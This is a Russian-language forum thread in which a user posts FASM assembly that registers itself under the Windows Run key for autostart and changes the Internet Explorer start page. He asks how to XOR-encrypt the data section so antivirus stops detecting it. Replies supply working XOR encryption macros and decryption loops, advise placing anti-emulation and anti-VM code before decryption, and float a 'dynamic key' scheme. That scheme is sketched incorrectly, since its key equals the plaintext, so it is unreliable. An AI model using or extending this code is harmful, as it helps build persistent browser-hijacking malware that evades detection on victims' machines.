Научите криптовать секцию DATA.

Тема в разделе "WASM.CRYPTO", создана пользователем fragment, 1 мар 2011.

  1. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Вот начал писать программу но она палица моим антивирусом ,авирь палит строку szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0
    [​IMG]
    , научити криптовать данные в секции, видел примеры в Pinch \ Xinch но непонял как они работают :dntknw:
    Папробывал закриптовать так но компилятор пишет ошибку:
    Код (Text):
    1. format PE64 GUI 5.0
    2. entry Main
    3.  
    4. include 'win64a.inc'
    5.  
    6. macro crypt start,length,key {
    7.   local x,y,key_size,key_pos
    8.   virtual at 0
    9.     db key
    10.     key_size = $
    11.   end virtual
    12.   key_pos = 0
    13.   repeat length
    14.     load x from start+%-1
    15.     virtual at 0
    16.       db key
    17.       load y from key_pos
    18.     end virtual
    19.     x = x xor y
    20.     store x at start+%-1
    21.     key_pos = key_pos + 1
    22.     if key_pos >= key_size
    23.       key_pos = 0
    24.     end if
    25.   end repeat
    26. }
    27.  
    28.  
    29. section '.data' data readable writeable
    30.  
    31.         szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0
    32.         szAutoRunName db 'SetStartPage',0
    33.  
    34.         RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0
    35.         RegValueName_2 db 'http://google.ru',0
    36.         RegValueName_3 db 'Start Page',0
    37.  
    38.         crypt 0,$,'qwerty'
    39.  
    40.         hkHandle dq ?
    41.         hKey dq ?
    42.  
    43.         lpBuff1 db 260 dup (?)
    44.  
    45. section '.code' code readable executable
    46.  
    47.   proc Main
    48.  
    49.         invoke GetModuleFileNameA,NULL,lpBuff1,MAX_PATH
    50.  
    51.         invoke RegCreateKeyA,HKEY_CURRENT_USER,szAutoRunPath,hkHandle
    52.         invoke lstrlenA,lpBuff1
    53.         invoke RegSetValueExA,[hkHandle],szAutoRunName,0,REG_SZ,lpBuff1,rax
    54.         invoke RegCloseKey,[hkHandle]
    55.  
    56.         invoke RegOpenKeyExA,HKEY_CURRENT_USER,RegValueName_1,0,KEY_WRITE,hKey
    57.         invoke lstrlenA,RegValueName_2
    58.         invoke RegSetValueExA,[hKey],RegValueName_3,0,REG_SZ,RegValueName_2,rax
    59.         invoke RegCloseKey,[hKey]
    60.         invoke ExitProcess,rax
    61.   endp
    62.  
    63. section '.idata' import data readable
    64.  
    65.     library kernel,'KERNEL32.DLL',\
    66.         advapi,'ADVAPI32.DLL'
    67.  
    68.     import advapi,\
    69.         RegOpenKeyExA,'RegOpenKeyExA',\
    70.         RegSetValueExA,'RegSetValueExA',\
    71.         RegCloseKey,'RegCloseKey',\
    72.         RegCreateKeyA,'RegCreateKeyA'
    73.  
    74.     import kernel,\
    75.            ExitProcess,'ExitProcess',\
    76.            lstrlenA,'lstrlenA',\
    77.            GetModuleFileNameA,'GetModuleFileNameA'
     
  2. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    fragment
    imho нужно данные сразу закриптованными
    их в секции помещать.
    А потом после того как пройдены все антиэмули
    и расшифровщики ее распаковать и пользовать.
     
  3. 0xJace

    0xJace New Member

    Публикаций:
    0
    Регистрация:
    19 сен 2010
    Сообщения:
    54
    Именно. Какой толк в том, что ты зашифруешь строку во время выполнения программы? Она ведь при эмуляции будет в таком же виде.
    Самое легкое обычный по байтный xor. Заранее закриптуй строку определенным ключом, и размести в секции данных. В коде программы сделай опять таки xor этой строки с этим же ключом, и все, можно работать с ней.
     
  4. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    А можете пример привести как это делается ?
     
  5. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    fragment
    Если у тебя макрос рабочий, то попробуй примерно так
    Код (Text):
    1. format PE64 GUI 5.0
    2. entry Main
    3.  
    4. include 'win64a.inc'
    5.  
    6. macro crypt start,length,key {
    7.   local x,y,key_size,key_pos
    8.   virtual at 0
    9.     db key
    10.     key_size = $
    11.   end virtual
    12.   key_pos = 0
    13.   repeat length
    14.     load x from start+%-1
    15.     virtual at 0
    16.       db key
    17.       load y from key_pos
    18.     end virtual
    19.     x = x xor y
    20.     store x at start+%-1
    21.     key_pos = key_pos + 1
    22.     if key_pos >= key_size
    23.       key_pos = 0
    24.     end if
    25.   end repeat
    26. }
    27.  
    28.  
    29. section '.data' data readable writeable
    30.  
    31. start_data  db 0
    32.                 szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0
    33.                 szAutoRunName db 'SetStartPage',0
    34.  
    35.                 RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0
    36.                 RegValueName_2 db 'http://google.ru',0
    37.                 RegValueName_3 db 'Start Page',0
    38. size_data = $-start_data
    39.  
    40.  
    41.         hkHandle dq ?
    42.         hKey dq ?
    43.  
    44.         lpBuff1 db 260 dup (?)
    45.  
    46. section '.code' code readable executable
    47.  
    48.   proc Main
    49.     crypt start_data,size_data,'qwerty'
    50.     lea edi, [start_data]
    51.     int3  
    52.         invoke ExitProcess,rax
    53.   endp
    54.  
    55. section '.idata' import data readable
    56.     library kernel,'KERNEL32.DLL'
    57.     import kernel,ExitProcess,'ExitProcess'
    На прерывании, посмотри в Olly что у тебя наксорилось и
    скопируй его в отдельный файл.
    Потом утилью bintodb.exe в пакете masm-а получишь
    ксоренные строки, которые и поместишь в секцию
    данных (которая должна быть RWE)
    своего исходника вместо явных
    "szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0
    ... ".
    В код Main() напихай антиэмульных кусков
    Потом запускай crypt start_data,size_data,'qwerty'
    Данные распакуются и дальше спокойно шаманишь с RegCreateKeyA()

    Тоесть код твоей проги будет примерно таким
    Код (Text):
    1. format PE64 GUI 5.0
    2. entry Main
    3.  
    4. include 'win64a.inc'
    5.  
    6. macro crypt start,length,key {
    7.   local x,y,key_size,key_pos
    8.   virtual at 0
    9.     db key
    10.     key_size = $
    11.   end virtual
    12.   key_pos = 0
    13.   repeat length
    14.     load x from start+%-1
    15.     virtual at 0
    16.       db key
    17.       load y from key_pos
    18.     end virtual
    19.     x = x xor y
    20.     store x at start+%-1
    21.     key_pos = key_pos + 1
    22.     if key_pos >= key_size
    23.       key_pos = 0
    24.     end if
    25.   end repeat
    26. }
    27.  
    28.  
    29. section '.data' data readable writeable
    30. ; данные в исходнике будет примерно так выглядеть
    31. ; или в fasm-е можно вообще файл подключить  
    32. ; по include который ты из Olly вытянул.  
    33. start_data db 64,0,232,207,2,0,0,232,178,2,0,0,184,255,255,255
    34. db 255,90,89,91,195,11,192,117,41,104,205,48,64,0,255,53
    35. db 118,52,64,0,232,107,2,0,0,255,53,166,50,64,0,232
    36. db 162,2,0,0,232,133,2,0,0,184,255,255,255,255,90,89
    37. db 91,195,104,58,51,64,0,255,53,166,50,64,0,232,213,1
    38. db 0,0,11,192,117,41,104,216,48,64,0,255,53,118,52,64
    39.  ......................
    40. size_data = $-start_data
    41.  
    42.         hkHandle dq ?
    43.         hKey dq ?
    44.         lpBuff1 db 260 dup (?)
    45. section '.code' code readable executable
    46.   proc Main
    47.         [Антиэмуль №1]
    48.         [АнтиWM  №1]
    49.         ...
    50.         [Анти ... №n]
    51.         ; Расшифровка
    52.     crypt start_data,size_data,'qwerty'
    53.         invoke GetModuleFileNameA,NULL,lpBuff1,MAX_PATH
    54.         invoke RegCreateKeyA,HKEY_CURRENT_USER,szAutoRunPath,hkHandle
    55.         ;... и погнал дальше
    56.         invoke ExitProcess,rax
    57.   endp
    58.  
    59. section '.idata' import data readable
    60.     library kernel,'KERNEL32.DLL'
    61.     import kernel,ExitProcess,'ExitProcess'
     
  6. iZzz32

    iZzz32 Sergey Sfeli

    Публикаций:
    0
    Регистрация:
    3 сен 2006
    Сообщения:
    355
    Если бы код компилировался, ТС получил бы .exe с расшифрованными строками. Но он не компилируется, потому что load/store работают в пределах одной секции.

    На самом деле, достаточно было изменить crypt 0,$,'qwerty' на crypt $$,$-$$,'qwerty' в первом посте, ну и, конечно, написать в Main код, который это расшифрует (на ассемблере, а не на макроязыке).
     
  7. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Вот ссылка на оригинал, http://board.flatassembler.net/topic.php?t=2126
    А как будет выглядеть decrypt data ?

    Код (Text):
    1. macro crypt start,length,key {
    2.   local x,y,key_size,key_pos
    3.   virtual at 0
    4.     db key
    5.     key_size = $
    6.   end virtual
    7.   key_pos = 0
    8.   repeat length
    9.     load x from start+%-1
    10.     virtual at 0
    11.       db key
    12.       load y from key_pos
    13.     end virtual
    14.     x = x xor y
    15.     store x at start+%-1
    16.     key_pos = key_pos + 1
    17.     if key_pos >= key_size
    18.       key_pos = 0
    19.     end if
    20.   end repeat
    21. }
    22.  
    23. section '.data' data readable writeable
    24.  
    25.         szAutoRunPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0
    26.  
    27.         crypt $$,$-$$,'8'
    28.  
    29. section '.code' code readable executable
    30.  
    31.   proc Main
    32.  
    33.         mov edi,start_code ??
    34.         mov ecx,end_code-start_code ??
    35.         @@:
    36.         xor byte[edi],8
    37.         inc edi
    38.         dec ecx
    39.         test ecx,ecx
    40.         jnz @b
     
  8. fsd

    fsd New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2010
    Сообщения:
    353
    интересно каким образом этот хлам связан с crypto
     
  9. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Ну как бы это XOR
     
  10. fsd

    fsd New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2010
    Сообщения:
    353
    omfg
     
  11. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Может хватит тролить и флудить в этой теме ?
     
  12. fsd

    fsd New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2010
    Сообщения:
    353
    угу, эта тема даже этого недостойна, простите
     
  13. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    fragment
    Ну так на той ссылке готовый код есть с этим макро.
    Вообще fsd прав хоть и грубоват, конечно.
    XOR - раскручивается всеми вдоль и поперек.
    Продумать другой алгоритм шифрования неплохо бы,
    похитрее.
     
  14. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Мне бы с XOR разобраца в начале , это моя первая попытка что либо закриптовать, прошу вас помочь мне ! :dntknw:
    По той сылке они криптуют .CODE а мне надо раскриптовать .DATA
     
  15. fsd

    fsd New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2010
    Сообщения:
    353
    ксоркриптавание с динамичиским ключом
    Код (Text):
    1. for(i = 0; i < DATA_size; i++)
    2. {
    3.     dynamic_key[i] = plaintext[i];
    4.     ciphertext[i] = dynamic_key[i]^plaintext[i];
    5. }
    6. RtlCompressBuffer(ciphertext);
    7. ???
    8. PROFIT!!!()
    ксорраскриптавание с динамичиским ключом
    Код (Text):
    1. RtlDecompressBuffer(ciphertext);
    2. for(i = 0; i < DATA_size; i++)
    3. {
    4.     plaintext[i] = dynamic_key[i]^ciphertext[i];
    5. }
    6. ???
    7. PROFIT!!!()
    не забывайте сохранять dynamic_key, пригодится
     
  16. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Спасибо конечно но мало понятно а на fasm как это будет выглядить ? :)
     
  17. fsd

    fsd New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2010
    Сообщения:
    353
    конпелируйте с /FAcs
     
  18. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Криптует но раскриптовать непалучается , помагите

    Код (Text):
    1. format PE64 GUI 5.0
    2. entry Main
    3.  
    4. include 'win64a.inc'
    5.  
    6. macro crypt start,length,key {
    7.   local x,y,key_size,key_pos
    8.   virtual at 0
    9.     db key
    10.     key_size = $
    11.   end virtual
    12.   key_pos = 0
    13.   repeat length
    14.     load x from start+%-1
    15.     virtual at 0
    16.       db key
    17.       load y from key_pos
    18.     end virtual
    19.     x = x xor y
    20.     store x at start+%-1
    21.     key_pos = key_pos + 1
    22.     if key_pos >= key_size
    23.       key_pos = 0
    24.     end if
    25.   end repeat
    26. }
    27.  
    28. section '.data' data readable writeable
    29.  
    30.         start_data:
    31.  
    32.         MessBoxA db 'Start Page Set',0
    33.         RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0
    34.         RegValueName_2 db 'http://google.com',0
    35.         RegValueName_3 db 'Start Page',0
    36.  
    37.         end_data:
    38.  
    39.         crypt start_data,end_data-start_data,'8'
    40.  
    41.         hKey dq ?
    42.  
    43.         ErrorCode db 260 dup(?)
    44.         Fmt db '%x',0
    45.  
    46. section '.code' code readable executable
    47.  
    48.   proc Main
    49.  
    50.         mov rdi,start_data
    51.         mov rcx,end_data-start_data
    52.         @@:
    53.         xor byte[rdi],'8'
    54.         inc rdi
    55.         dec rcx
    56.         test rcx,rcx
    57.         jnz @b
    58.  
    59.         invoke RegOpenKeyExA,80000001h,RegValueName_1,0,20006h,hKey
    60.         invoke lstrlenA,RegValueName_2
    61.         invoke RegSetValueExA,[hKey],RegValueName_3,0,1,RegValueName_2,rax
    62.         call LastError
    63.         invoke RegCloseKey,[hKey]
    64.         invoke MessageBoxA,0,MessBoxA,0,MB_ICONWARNING
    65.         invoke ExitProcess,rax
    66.   endp
    67.  
    68.   proc LastError
    69.     invoke GetLastError
    70.     invoke wsprintfA,ErrorCode,Fmt,0
    71.     invoke MessageBoxA,0,ErrorCode,0,MB_ICONERROR
    72.     ret
    73.   endp
    74.  
    75. section '.idata' import data readable
    76.  
    77.     library kernel,'KERNEL32.DLL',\
    78.         user,'USER32.DLL',\
    79.         advapi,'ADVAPI32.DLL'
    80.  
    81.     import advapi,\
    82.         RegOpenKeyExA,'RegOpenKeyExA',\
    83.         RegSetValueExA,'RegSetValueExA',\
    84.         RegCloseKey,'RegCloseKey'
    85.  
    86.     import kernel,\
    87.            ExitProcess,'ExitProcess',\
    88.            GetLastError,'GetLastError',\
    89.            lstrlenA,'lstrlenA'
    90.  
    91.     import user,\
    92.            MessageBoxA,'MessageBoxA',\
    93.            wsprintfA,'wsprintfA'
    Все работает, секция ксорица но авирь все равно палит программу, мне сказали что динамический ключ это исправит как это реализовать?
     
  19. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    fragment
    Ну вот, только макро взято у комрада http://comrade.ownz.com/docs/fasm.html
    Код (Text):
    1. format PE GUI 4.0
    2. entry start
    3.  
    4. include 'c:\fasmw\include\win32a.inc'
    5.  
    6. section '.data' data readable writeable
    7.         key           =  $ff ;<-key for encrypt
    8. section '.code' code readable writeable executable
    9.  
    10. start:
    11.  
    12.     int3
    13.     lea edi, [start_data]
    14.  
    15. decode:
    16.     mov edx,start_data
    17.     mov ecx,size_data
    18. .xloop:
    19.     add ecx,0
    20.     je .ex
    21.     xor  byte [edx],key
    22.     inc edx
    23.     dec ecx
    24.     jmp .xloop
    25. .ex:
    26.  
    27.     ;invoke RegOpenKeyExA,80000001h,RegValueName_1,0,20006h,hKey
    28.     ;invoke lstrlenA,RegValueName_2
    29.     ;invoke RegSetValueExA,[hKey],RegValueName_3,0,1,RegValueName_2,eax
    30.     ;call LastError
    31.     ;invoke RegCloseKey,[hKey]
    32.     ;invoke MessageBoxA,0,MessBoxA,0,MB_ICONWARNING
    33.     invoke    ExitProcess,0
    34. start_data:
    35.         MessBoxA db 'Start Page Set',0
    36.         RegValueName_1 db 'Software\Microsoft\Internet Explorer\Main',0
    37.         RegValueName_2 db 'http://google.com',0
    38.         RegValueName_3 db 'Start Page',0
    39. size_data=$-start_data
    40.  
    41. macro encrypt dstart,dsize {
    42.     local ..char,..shift
    43.     repeat dsize
    44.         load ..char from dstart+%-1
    45.         ..char = ..char xor key
    46.         store ..char at dstart+%-1
    47.     end repeat
    48. }
    49. encrypt start_data,size_data
    50.  
    51. section '.idata' import data readable
    52.     library kernel,'KERNEL32.DLL'
    53.     import kernel,\
    54.            ExitProcess,'ExitProcess'
    Да у меня WinXP 32
     
  20. fsd

    fsd New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2010
    Сообщения:
    353
    динамичиский